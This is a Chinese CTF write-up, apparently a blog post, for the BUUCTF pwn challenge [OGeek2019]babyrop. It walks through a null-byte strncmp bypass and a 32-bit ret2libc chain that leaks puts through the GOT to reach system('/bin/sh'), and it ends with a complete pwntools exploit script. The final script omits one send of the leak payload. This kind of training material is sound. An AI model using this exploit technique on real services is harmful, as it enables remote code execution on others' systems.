buuctf pwn [OGeek2019]babyrop_wp

buuctf pwn [OGeek2019]babyrop_wp

网上很多wp已经不适用了,所以来更新一波XD

0x00 知识点

  1. ret2libc
  2. 提供libc的打法
  3. 绕过strlen & strncmp函数

0x01 解题步骤

不贴图了,按伪代码顺序来

  1. fd是urandom库生成的随机数
  2. 将fd读4位进buf
  3. 将buf作为参数传进函数A,在A中称作a1
  4. 将a1读进s
  5. 用户输入buf,但限制读入长度0x20,无法溢出;但可以考虑泄露
  6. v1赋值为buf的长度,绕过strlen & strncmp函数可以用’\x00’
  7. 返回buf[7],传入函数B,在B中称作a1,是read的检测长度,如果足够长可以构造溢出
    于是函数A中的read我们有思路了,即
    1. 绕过strlen
    2. 返回buf[7]越大越好
payload  =  '\x00' + '\xff' * 7

io.sendline(payload)                              # Q1:为什么非得是sendline而不能是send?

io.recvuntil(b"Correct\n")
  1. B中观察栈的结构可知,我们可以用0xE7+4的垃圾数据抵达返回地址
  2. 由于string中并没有找到system(‘/bin/sh’),而题目提供了libc,所以我们可以泄露libc基地址;由于函数B结束后程序即将结束,我们已经没有溢出的点了,所以考虑将main作为返回地址,再来提供一次溢出,所以考虑构造payload2:
xxxxxx
xxxxxx<-----垃圾数据
puts_plt<---调用puts
main_addr<--将puts的返回地址压栈,即将eip的下一条指令压栈
puts_got<---将puts的参数弹给puts

junk     =  0xE7 + 4

# payload  =  b'a'*junk + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

payload  =  b'a'*junk + p32(puts_plt) + p32(main_addr) + p32(puts_got)      # Q2: puts为什么不会打印后面的内容了?为什么puts_got后面一定是可以被转换为0a的00?

io.send(payload)

puts_addr =  u32(io.recv(4))

print('puts_addr   --->   ',hex(puts_addr))

# 注1:puts(const char* arg1)一直打印,直到遇到'\0',丢弃'\0'并输出'\n'
# 注2:sszie_t write(fd,const char* src,length) (fd=1,length=32/8 or 64/8)
  1. 泄露libc地址后,泄露system/bin/sh的地址
offset   = puts_addr - libc.sym['puts']

sys_addr = offset + libc.sym['system']

bin_sh   = offset + next(libc.search(b'/bin/sh'))
  1. 再进行一次绕过strncmp
payload  =  '\x00' + '\xff' * 7

io.sendline(payload)

io.recvuntil(b"Correct\n")
  1. 最后提权
payload  =  b'a'* junk + p32(sys_addr) + p32(0) + p32(bin_sh)    # 细节2:覆盖返回地址时,32位需要在栈上补充返回地址
                                                                 # Q3:为什么?
io.send(payload)
  
io.interactive()
  1. 最后贴一下全部exp
from pwn import *

from LibcSearcher import *

io = remote('node4.buuoj.cn',26218)

# context(os='linux', arch='i386', log_level='debug')

elf = ELF('./pwn')

libc = ELF('libc-2.23.so')

context.log_level = 'debug'

  

puts_got =elf.got['puts']

puts_plt =elf.plt['puts']

main_addr = 0x08048825

  

payload  =  '\x00' + '\xff' * 7

io.sendline(payload)

io.recvuntil(b"Correct\n")

  

junk     =  0xE7 + 4

payload  =  b'a'*junk + p32(puts_plt) + p32(main_addr) + p32(puts_got)

puts_addr =  u32(io.recv(4))

print('puts_addr   --->   ',hex(puts_addr))

  

offset   = puts_addr - libc.sym['puts']

sys_addr = offset + libc.sym['system']

bin_sh   = offset + next(libc.search(b'/bin/sh'))

  

payload  =  '\x00' + '\xff' * 7

io.sendline(payload)

io.recvuntil(b"Correct\n")

  

payload  =  b'a'* junk + p32(sys_addr) + p32(0) + p32(bin_sh)

io.send(payload)

  

io.interactive()

0x02 一些思考

  1. 本题还可以有以下几种打法
    1. 泄露地址方面:不仅可以用puts,还可以用write;讲道理一切能输出到终端的函数都可以利用来泄露内容,后续慢慢探索
    2. 泄露地址后,我们可以用og进行提权
  2. 一些工具的使用
    1. flat可以用来构造payload

0x03 一些问题

  1. 0x01 中第七步payload,为什么在send时只能是sendline,我看received的结果明明都一样啊
  2. 0x01 中第九步payload,puts为什么不会打印后面的内容了(代码底部’注2’)?为什么puts_got后面一定是可以被转换为0a的00?
  3. 0x01 中第12步payload,为什么需要sys_addr + 0 + bin_sh,这个0是sys_addr的返回地址吗?
  4. 网上很多博客都用LibcSearcher,可是我在将LibcSearcher数据库更新到最新版本以后还是无法查到对应libc库,很奇怪
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值